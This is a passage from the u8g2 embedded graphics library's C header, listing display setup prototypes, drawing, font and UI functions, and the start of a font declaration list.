u8g2_Setup_ra8835_320x240_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ra8835_320x240_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sed1330_320x200_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sed1330_320x200_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_sed1330_320x200_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_max7219_64x8_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_max7219_64x8_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_max7219_64x8_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_max7219_32x8_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_max7219_32x8_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_max7219_32x8_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_max7219_8x8_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_max7219_8x8_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_max7219_8x8_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_s1d15300_lm6023_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_s1d15300_lm6023_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_s1d15300_lm6023_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_s1d15e06_160100_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_s1d15e06_160100_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_s1d15e06_160100_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_s1d15721_240x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_s1d15721_240x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_s1d15721_240x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_gu800_128x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_gu800_128x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_gu800_128x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_gu800_160x16_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_gu800_160x16_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_gu800_160x16_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_gp1287ai_256x50_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_gp1287ai_256x50_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_gp1287ai_256x50_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_gp1247ai_253x63_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_gp1247ai_253x63_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_gp1247ai_253x63_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_a2printer_384x240_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_a2printer_384x240_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_a2printer_384x240_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\n\n/* u8g2_d_setup.c generated code end */\n\n/*==========================================*/\n/* u8g2_buffer.c */\n\nvoid u8g2_SendBuffer(u8g2_t *u8g2);\nvoid u8g2_ClearBuffer(u8g2_t *u8g2);\n\nvoid u8g2_SetBufferCurrTileRow(u8g2_t *u8g2, uint8_t row) U8G2_NOINLINE;\n\nvoid u8g2_FirstPage(u8g2_t *u8g2);\nuint8_t u8g2_NextPage(u8g2_t *u8g2);\n\n// Add ability to set buffer pointer\n#ifdef __ARM_LINUX__\n#define U8G2_USE_DYNAMIC_ALLOC\n#endif\n\n#ifdef U8G2_USE_DYNAMIC_ALLOC\n#define u8g2_SetBufferPtr(u8g2, buf) ((u8g2)->tile_buf_ptr = (buf));\n#define u8g2_GetBufferSize(u8g2) ((u8g2)->u8x8.display_info->tile_width * 8 * (u8g2)->tile_buf_height)\n#endif\n#define u8g2_GetBufferPtr(u8g2) ((u8g2)->tile_buf_ptr)\n#define u8g2_GetBufferTileHeight(u8g2)\t((u8g2)->tile_buf_height)\n#define u8g2_GetBufferTileWidth(u8g2)\t(u8g2_GetU8x8(u8g2)->display_info->tile_width)\n/* the following variable is only valid after calling u8g2_FirstPage */\n/* renamed from Page to Buffer: the CurrTileRow is the current row of the buffer, issue #370 */\n#define u8g2_GetPageCurrTileRow(u8g2) ((u8g2)->tile_curr_row)\n#define u8g2_GetBufferCurrTileRow(u8g2) ((u8g2)->tile_curr_row)\n\nvoid u8g2_UpdateDisplayArea(u8g2_t *u8g2, uint8_t  tx, uint8_t ty, uint8_t tw, uint8_t th);\nvoid u8g2_UpdateDisplay(u8g2_t *u8g2);\n\nvoid u8g2_WriteBufferPBM(u8g2_t *u8g2, void (*out)(const char *s));\nvoid u8g2_WriteBufferXBM(u8g2_t *u8g2, void (*out)(const char *s));\n/* SH1122, LD7032, ST7920, ST7986, LC7981, T6963, SED1330, RA8835, MAX7219, LS0 */ \nvoid u8g2_WriteBufferPBM2(u8g2_t *u8g2, void (*out)(const char *s));\nvoid u8g2_WriteBufferXBM2(u8g2_t *u8g2, void (*out)(const char *s));\n\n\n/*==========================================*/\n/* u8g2_ll_hvline.c */\n/*\n  x,y\t\tUpper left position of the line within the local buffer (not the display!)\n  len\t\tlength of the line in pixel, len must not be 0\n  dir\t\t0: horizontal line (left to right)\n\t\t1: vertical line (top to bottom)\n  assumption: \n    all clipping done\n*/\n\n/* SSD13xx, UC17xx, UC16xx */\nvoid u8g2_ll_hvline_vertical_top_lsb(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len, uint8_t dir);\n/* ST7920 */\nvoid u8g2_ll_hvline_horizontal_right_lsb(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len, uint8_t dir);\n\n\n/*==========================================*/\n/* u8g2_hvline.c */\n\n/* u8g2_DrawHVLine does not use u8g2_IsIntersection */\nvoid u8g2_DrawHVLine(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len, uint8_t dir);\n\n/* the following three function will do an intersection test of this is enabled with U8G2_WITH_INTERSECTION */\nvoid u8g2_DrawHLine(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len);\nvoid u8g2_DrawVLine(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len);\nvoid u8g2_DrawPixel(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y);\nvoid u8g2_SetDrawColor(u8g2_t *u8g2, uint8_t color) U8G2_NOINLINE;  /* u8g: u8g_SetColorIndex(u8g_t *u8g, uint8_t idx); */\n\n\n/*==========================================*/\n/* u8g2_bitmap.c */\nvoid u8g2_SetBitmapMode(u8g2_t *u8g2, uint8_t is_transparent);\nvoid u8g2_DrawHorizontalBitmap(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len, const uint8_t *b);\nvoid u8g2_DrawBitmap(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t cnt, u8g2_uint_t h, const uint8_t *bitmap);\nvoid u8g2_DrawXBM(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w, u8g2_uint_t h, const uint8_t *bitmap);\nvoid u8g2_DrawXBMP(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w, u8g2_uint_t h, const uint8_t *bitmap);\t/* assumes bitmap in PROGMEM */\n\n\n/*==========================================*/\n/* u8g2_intersection.c */\n#ifdef U8G2_WITH_INTERSECTION    \nuint8_t u8g2_IsIntersection(u8g2_t *u8g2, u8g2_uint_t x0, u8g2_uint_t y0, u8g2_uint_t x1, u8g2_uint_t y1);\n#endif /* U8G2_WITH_INTERSECTION */\n\n\n\n/*==========================================*/\n/* u8g2_circle.c */\n#define U8G2_DRAW_UPPER_RIGHT 0x01\n#define U8G2_DRAW_UPPER_LEFT  0x02\n#define U8G2_DRAW_LOWER_LEFT 0x04\n#define U8G2_DRAW_LOWER_RIGHT  0x08\n#define U8G2_DRAW_ALL (U8G2_DRAW_UPPER_RIGHT|U8G2_DRAW_UPPER_LEFT|U8G2_DRAW_LOWER_RIGHT|U8G2_DRAW_LOWER_LEFT)\nvoid u8g2_DrawCircle(u8g2_t *u8g2, u8g2_uint_t x0, u8g2_uint_t y0, u8g2_uint_t rad, uint8_t option);\nvoid u8g2_DrawDisc(u8g2_t *u8g2, u8g2_uint_t x0, u8g2_uint_t y0, u8g2_uint_t rad, uint8_t option);\nvoid u8g2_DrawEllipse(u8g2_t *u8g2, u8g2_uint_t x0, u8g2_uint_t y0, u8g2_uint_t rx, u8g2_uint_t ry, uint8_t option);\nvoid u8g2_DrawFilledEllipse(u8g2_t *u8g2, u8g2_uint_t x0, u8g2_uint_t y0, u8g2_uint_t rx, u8g2_uint_t ry, uint8_t option);\n\n/*==========================================*/\n/* u8g2_line.c */\nvoid u8g2_DrawLine(u8g2_t *u8g2, u8g2_uint_t x1, u8g2_uint_t y1, u8g2_uint_t x2, u8g2_uint_t y2);\n\n\n/*==========================================*/\n/* u8g2_box.c */\nvoid u8g2_DrawBox(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w, u8g2_uint_t h);\nvoid u8g2_DrawFrame(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w, u8g2_uint_t h);\nvoid u8g2_DrawRBox(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w, u8g2_uint_t h, u8g2_uint_t r);\nvoid u8g2_DrawRFrame(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w, u8g2_uint_t h, u8g2_uint_t r);\n\n/*==========================================*/\n/* u8g2_button.c */\n\n/* border width */\n#define U8G2_BTN_BW_POS 0\n#define U8G2_BTN_BW_MASK 7\n#define U8G2_BTN_BW0 0x00\n#define U8G2_BTN_BW1 0x01\n#define U8G2_BTN_BW2 0x02\n#define U8G2_BTN_BW3 0x03\n\n/* enable shadow and define gap to button */\n#define U8G2_BTN_SHADOW_POS 3\n#define U8G2_BTN_SHADOW_MASK 0x18\n#define U8G2_BTN_SHADOW0 0x08\n#define U8G2_BTN_SHADOW1 0x10\n#define U8G2_BTN_SHADOW2 0x18\n\n/* text is displayed inverted */\n#define U8G2_BTN_INV 0x20\n\n/* horizontal center */\n#define U8G2_BTN_HCENTER 0x40\n\n/* second one pixel frame */\n#define U8G2_BTN_XFRAME 0x80\n\nvoid u8g2_DrawButtonFrame(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t flags, u8g2_uint_t text_width, u8g2_uint_t padding_h, u8g2_uint_t padding_v);\nvoid u8g2_DrawButtonUTF8(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t flags, u8g2_uint_t width, u8g2_uint_t padding_h, u8g2_uint_t padding_v, const char *text);\n\n\n/*==========================================*/\n/* u8g2_polygon.c */\nvoid u8g2_ClearPolygonXY(void);\nvoid u8g2_AddPolygonXY(u8g2_t *u8g2, int16_t x, int16_t y);\nvoid u8g2_DrawPolygon(u8g2_t *u8g2);\nvoid u8g2_DrawTriangle(u8g2_t *u8g2, int16_t x0, int16_t y0, int16_t x1, int16_t y1, int16_t x2, int16_t y2);\n\n\n\n/*==========================================*/\n/* u8g2_kerning.c */\n//uint8_t u8g2_GetNullKerning(u8g2_t *u8g2, uint16_t e1, uint16_t e2);\nuint8_t u8g2_GetKerning(u8g2_t *u8g2, u8g2_kerning_t *kerning, uint16_t e1, uint16_t e2);\nuint8_t u8g2_GetKerningByTable(u8g2_t *u8g2, const uint16_t *kt, uint16_t e1, uint16_t e2);\n\n\n/*==========================================*/\n/* u8g2_font.c */\n\nu8g2_uint_t u8g2_add_vector_y(u8g2_uint_t dy, int8_t x, int8_t y, uint8_t dir) U8G2_NOINLINE;\nu8g2_uint_t u8g2_add_vector_x(u8g2_uint_t dx, int8_t x, int8_t y, uint8_t dir) U8G2_NOINLINE;\n\n\nsize_t u8g2_GetFontSize(const uint8_t *font_arg);\n\n#define U8G2_FONT_HEIGHT_MODE_TEXT 0\n#define U8G2_FONT_HEIGHT_MODE_XTEXT 1\n#define U8G2_FONT_HEIGHT_MODE_ALL 2\n\nvoid u8g2_SetFont(u8g2_t *u8g2, const uint8_t  *font);\nvoid u8g2_SetFontMode(u8g2_t *u8g2, uint8_t is_transparent);\n\nuint8_t u8g2_IsGlyph(u8g2_t *u8g2, uint16_t requested_encoding);\nint8_t u8g2_GetGlyphWidth(u8g2_t *u8g2, uint16_t requested_encoding);\nu8g2_uint_t u8g2_DrawGlyph(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, uint16_t encoding);\nu8g2_uint_t u8g2_DrawGlyphX2(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, uint16_t encoding);\nint8_t u8g2_GetStrX(u8g2_t *u8g2, const char *s);\t/* for u8g compatibility */\n\nvoid u8g2_SetFontDirection(u8g2_t *u8g2, uint8_t dir);\nu8g2_uint_t u8g2_DrawStr(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, const char *str);\nu8g2_uint_t u8g2_DrawStrX2(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, const char *str);\nu8g2_uint_t u8g2_DrawUTF8(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, const char *str);\nu8g2_uint_t u8g2_DrawUTF8X2(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, const char *str);\nu8g2_uint_t u8g2_DrawExtendedUTF8(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, uint8_t to_left, u8g2_kerning_t *kerning, const char *str);\nu8g2_uint_t u8g2_DrawExtUTF8(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, uint8_t to_left, const uint16_t *kerning_table, const char *str);\n\n#define u8g2_GetMaxCharHeight(u8g2) ((u8g2)->font_info.max_char_height)\n#define u8g2_GetMaxCharWidth(u8g2) ((u8g2)->font_info.max_char_width)\n#define u8g2_GetAscent(u8g2) ((u8g2)->font_ref_ascent)\n#define u8g2_GetDescent(u8g2) ((u8g2)->font_ref_descent)\n#define u8g2_GetFontAscent(u8g2) ((u8g2)->font_ref_ascent)\n#define u8g2_GetFontDescent(u8g2) ((u8g2)->font_ref_descent)\n\nuint8_t u8g2_IsAllValidUTF8(u8g2_t *u8g2, const char *str);\t// checks whether all codes are valid\n\nu8g2_uint_t u8g2_GetStrWidth(u8g2_t *u8g2, const char *s);\nu8g2_uint_t u8g2_GetUTF8Width(u8g2_t *u8g2, const char *str);\n/*u8g2_uint_t u8g2_GetExactStrWidth(u8g2_t *u8g2, const char *s);*/ /*obsolete, see also https://github.com/olikraus/u8g2/issues/1561 */\n\n\nvoid u8g2_SetFontPosBaseline(u8g2_t *u8g2);\nvoid u8g2_SetFontPosBottom(u8g2_t *u8g2);\nvoid u8g2_SetFontPosTop(u8g2_t *u8g2);\nvoid u8g2_SetFontPosCenter(u8g2_t *u8g2);\n\nvoid u8g2_SetFontRefHeightText(u8g2_t *u8g2);\nvoid u8g2_SetFontRefHeightExtendedText(u8g2_t *u8g2);\nvoid u8g2_SetFontRefHeightAll(u8g2_t *u8g2);\n\n/*==========================================*/\n/* u8log_u8g2.c */\nvoid u8g2_DrawLog(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8log_t *u8log);\nvoid u8log_u8g2_cb(u8log_t * u8log);\n\n\n/*==========================================*/\n/* u8g2_selection_list.c */\nvoid u8g2_DrawUTF8Line(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w, const char *s, uint8_t border_size, uint8_t is_invert);\nu8g2_uint_t u8g2_DrawUTF8Lines(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w, u8g2_uint_t line_height, const char *s);\nuint8_t u8g2_UserInterfaceSelectionList(u8g2_t *u8g2, const char *title, uint8_t start_pos, const char *sl);\n\n/*==========================================*/\n/* u8g2_message.c */\nuint8_t u8g2_UserInterfaceMessage(u8g2_t *u8g2, const char *title1, const char *title2, const char *title3, const char *buttons);\n\n/*==========================================*/\n/* u8g2_input_value.c */\nuint8_t u8g2_UserInterfaceInputValue(u8g2_t *u8g2, const char *title, const char *pre, uint8_t *value, uint8_t lo, uint8_t hi, uint8_t digits, const char *post);\n\n\n/*==========================================*/\n/* u8x8_d_sdl_128x64.c */\nvoid u8g2_SetupBuffer_SDL_128x64(u8g2_t *u8g2, const u8g2_cb_t *u8g2_cb);\nvoid u8g2_SetupBuffer_SDL_128x64_4(u8g2_t *u8g2, const u8g2_cb_t *u8g2_cb);\nvoid u8g2_SetupBuffer_SDL_128x64_1(u8g2_t *u8g2, const u8g2_cb_t *u8g2_cb);\n\n/*==========================================*/\n/* u8x8_d_tga.c */\nvoid u8g2_SetupBuffer_TGA_DESC(u8g2_t *u8g2, const u8g2_cb_t *u8g2_cb);\nvoid u8g2_SetupBuffer_TGA_LCD(u8g2_t *u8g2, const u8g2_cb_t *u8g2_cb);\n\n/*==========================================*/\n/* u8x8_d_bitmap.c */\nvoid u8g2_SetupBitmap(u8g2_t *u8g2, const u8g2_cb_t *u8g2_cb, uint16_t pixel_width, uint16_t pixel_height);\n\n/*==========================================*/\n/* u8x8_d_framebuffer.c */\nvoid u8g2_SetupLinuxFb(u8g2_t *u8g2, const u8g2_cb_t *u8g2_cb, const char *fb_device);\n\n\n/*==========================================*/\n/* u8x8_d_utf8.c */\n/* 96x32 stdout */\nvoid u8g2_SetupBuffer_Utf8(u8g2_t *u8g2, const u8g2_cb_t *u8g2_cb);\n\n\n\n\n/*==========================================*/\n/* itoa procedures */\n#define u8g2_u8toa u8x8_u8toa\n#define u8g2_u16toa u8x8_u16toa\n\n\n/*==========================================*/\n\n/* start font list */\nextern const uint8_t u8g2_font_u8glib_4_tf[] U8G2_FONT_SECTION(\"u8g2_font_u8glib_4_tf\");\nextern const uint8_t u8g2_font_u8glib_4_tr[] U8G2_FONT_SECTION(\"u8g2_font_u8glib_4_tr\");\nextern const uint8_t u8g2_font_u8glib_4_hf[] U8G2_FONT_SECTION(\"u8g2_font_u8glib_4_hf\");\nextern const uint8_t u8g2_font_u8glib_4_hr[] U8G2_FONT_SECTION(\"u8g2_font_u8glib_4_hr\");\nextern const uint8_t u8g2_font_m2icon_5_tf[] U8G2_FONT_SECTION(\"u8g2_font_m2icon_5_tf\");\nextern const uint8_t u8g2_font_m2icon_7_tf[] U8G2_FONT_SECTION(\"u8g2_font_m2icon_7_tf\");\nextern const uint8_t u8g2_font_m2icon_9_tf[] U8G2_FONT_SECTION(\"u8g2_font_m2icon_9_tf\");\nextern const uint8_t u8g2_font_emoticons21_tr[] U8G2_FONT_SECTION(\"u8g2_font_emoticons21_tr\");\nextern const uint8_t u8g2_font_battery19_tn[] U8G2_FONT_SECTION(\"u8g2_font_battery19_tn\");\nextern const uint8_t u8g2_font_battery24_tr[] U8G2_FONT_SECTION(\"u8g2_font_battery24_tr\");\nextern const uint8_t u8g2_font_squeezed_r6_tr[] U8G2_FONT_SECTION(\"u8g2_font_squeezed_r6_tr\");\nextern const uint8_t u8g2_font_squeezed_r6_tn[] U8G2_FONT_SECTION(\"u8g2_font_squeezed_r6_tn\");\nextern const uint8_t u8g2_font_squeezed_b6_tr[] U8G2_FONT_SECTION(\"u8g2_font_squeezed_b6_tr\");\nextern const uint8_t u8g2_font_squeezed_b6_tn[] U8G2_FONT_SECTION(\"u8g2_font_squeezed_b6_tn\");\nextern const uint8_t u8g2_font_squeezed_r7_tr[] U8G2_FONT_SECTION(\"u8g2_font_squeezed_r7_tr\");\nextern const uint8_t u8g2_font_squeezed_r7_tn[] U8G2_FONT_SECTION(\"u8g2_font_squeezed_r7_tn\");\nextern const uint8_t u8g2_font_squeezed_b7_tr[] U8G2_FONT_SECTION(\"u8g2_font_squeezed_b7_tr\");\nextern const uint8_t u8g2_font_squeezed_b7_tn[] U8G2_FONT_SECTION(\"u8g2_font_squeezed_b7_tn\");\nextern const uint8_t u8g2_font_percent_circle_25_hn[] U8G2_FONT_SECTION(\"u8g2_font_percent_circle_25_hn\");\nextern const uint8_t u8g2_font_freedoomr10_tu[] U8G2_FONT_SECTION(\"u8g2_font_freedoomr10_tu\");\nextern const uint8_t u8g2_font_freedoomr10_mu[] U8G2_FONT_SECTION(\"u8g2_font_freedoomr10_mu\");\nextern const uint8_t u8g2_font_freedoomr25_tn[] U8G2_FONT_SECTION(\"u8g2_font_freedoomr25_tn\");\nextern const uint8_t u8g2_font_freedoomr25_mn[] U8G2_FONT_SECTION(\"u8g2_font_freedoomr25_mn\");\nextern const uint8_t u8g2_font_7Segments_26x42_mn[] U8G2_FONT_SECTION(\"u8g2_font_7Segments_26x42_mn\");\nextern const uint8_t u8g2_font_7_Seg_33x19_mn[] U8G2_FONT_SECTION(\"u8g2_font_7_Seg_33x19_mn\");\nextern const uint8_t u8g2_font_7_Seg_41x21_mn[] U8G2_FONT_SECTION(\"u8g2_font_7_Seg_41x21_mn\");\nextern const uint8_t u8g2_font_tiny5_tf[] U8G2_FONT_SECTION(\"u8g2_font_tiny5_tf\");\nextern const uint8_t u8g2_font_tiny5_tr[] U8G2_FONT_SECTION(\"u8g2_font_tiny5_tr\");\nextern const uint8_t u8g2_font_04b_03b_tr[] U8G2_FONT_SECTION(\"u8g2_font_04b_03b_tr\");\nextern const uint8_t u8g2_font_04b_03_tr[] U8G2_FONT_SECTION(\"u8g2_font_04b_03_tr\");\nextern const uint8_t u8g2_font_amstrad_cpc_extended_8f[] U8G2_FONT_SECTION(\"u8g2_font_amstrad_cpc_extended_8f\");\nextern const uint8_t u8g2_font_amstrad_cpc_extended_8r[] U8G2_FONT_SECTION(\"u8g2_font_amstrad_cpc_extended_8r\");\nextern const uint8_t u8g2_font_amstrad_cpc_extended_8n[] U8G2_FONT_SECTION(\"u8g2_font_amstrad_cpc_extended_8n\");\nextern const uint8_t u8g2_font_amstrad_cpc_extended_8u[] U8G2_FONT_SECTION(\"u8g2_font_amstrad_cpc_extended_8u\");\nextern const uint8_t u8g2_font_cursor_tf[] U8G2_FONT_SECTION(\"u8g2_font_cursor_tf\");\nextern const uint8_t u8g2_font_cursor_tr[] U8G2_FONT_SECTION(\"u8g2_font_cursor_tr\");\nextern const uint8_t u8g2_font_micro_tr[] U8G2_FONT_SECTION(\"u8g2_font_micro_tr\");\nextern const uint8_t u8g2_font_micro_tn[] U8G2_FONT_SECTION(\"u8g2_font_micro_tn\");\nextern const uint8_t u8g2_font_micro_mr[] U8G2_FONT_SECTION(\"u8g2_font_micro_mr\");\nextern const uint8_t u8g2_font_micro_mn[] U8G2_FONT_SECTION(\"u8g2_font_micro_mn\");\nextern const uint8_t u8g2_font_4x6_tf[] U8G2_FONT_SECTION(\"u8g2_font_4x6_tf\");\nextern const uint8_t u8g2_font_4x6_tr[] U8G2_FONT_SECTION(\"u8g2_font_4x6_tr\");\nextern const uint8_t u8g2_font_4x6_tn[] U8G2_FONT_SECTION(\"u8g2_font_4x6_tn\");\nextern const uint8_t u8g2_font_4x6_mf[] U8G2_FONT_SECTION(\"u8g2_font_4x6_mf\");\nextern const uint8_t u8g2_font_4x6_mr[] U8G2_FONT_SECTION(\"u8g2_font_4x6_mr\");\nextern const uint8_t u8g2_font_4x6_mn[] U8G2_FONT_SECTION(\"u8g2_font_4x6_mn\");\nextern const uint8_t u8g2_font_4x6_t_cyrillic[] U8G2_FONT_SECTION(\"u8g2_font_4x6_t_cyrillic\");\nextern const uint8_t u8g2_font_5x7_tf[] U8G2_FONT_SECTION(\"u8g2_font_5x7_tf\");\nextern const uint8_t u8g2_font_5x7_tr[] U8G2_FONT_SECTION(\"u8g2_font_5x7_tr\");\nextern const uint8_t u8g2_font_5x7_tn[] U8G2_FONT_SECTION(\"u8g2_font_5x7_tn\");\nextern const uint8_t u8g2_font_5x7_mf[] U8G2_FONT_SECTION(\"u8g2_font_5x7_mf\");\nextern const uint8_t u8g2_font_5x7_mr[] U8G2_FONT_SECTION(\"u8g2_font_5x7_mr\");\nextern const uint8_t u8g2_font_5x7_mn[] U8G2_FONT_SECTION(\"u8g2_font_5x7_mn\");\nextern const uint8_t u8g2_font_5x7_t_cyrillic[] U8G2_FONT_SECTION(\"u8g2_font_5x7_t_cyrillic\");\nextern const uint8_t u8g2_font_5x8_tf[] U8G2_FONT_SECTION(\"u8g2_font_5x8_tf\");\nextern const uint8_t u8g2_font_5x8_tr[] U8G2_FONT_SECTION(\"u8g2_font_5x8_tr\");\nextern const uint8_t u8g2_font_5x8_tn[] U8G2_FONT_SECTION(\"u8g2_font_5x8_tn\");\nextern const uint8_t u8g2_font_5x8_mf[] U8G2_FONT_SECTION(\"u8g2_font_5x8_mf\");\nextern const uint8_t u8g2_font_5x8_mr[] U8G2_FONT_SECTION(\"u8g2_font_5x8_mr\");\nextern const uint8_t u8g2_font_5x8_mn[] U8G2_FONT_SECTION(\"u8g2_font_5x8_mn\");\nextern const uint8_t u8g2_font_5x8_t_cyrillic[] U8G2_FONT_SECTION(\"u8g2_font_5x8_t_cyrillic\");\nextern const uint8_t u8g2_font_6x10_tf[] U8G2_FONT_SECTION(\"u8g2_font_6x10_tf\");\nextern const uint8_t u8g2_font_6x10_tr[] U8G2_FONT_SECTION(\"u8g2_font_6x10_tr\");\nextern const uint8_t u8g2_font_6x10_tn[] U8G2_FONT_SECTION(\"u8g2_font_6x10_tn\");\nextern const uint8_t u8g2_font_6x10_mf[] U8G2_FONT_SECTION(\"u8g2_font_6x10_mf\");\nextern const uint8_t u8g2_font_6x10_mr[] U8G2_FONT_SECTION(\"u8g2_font_6x10_mr\");\nextern const uint8_t u8g2_font_6x10_mn[] 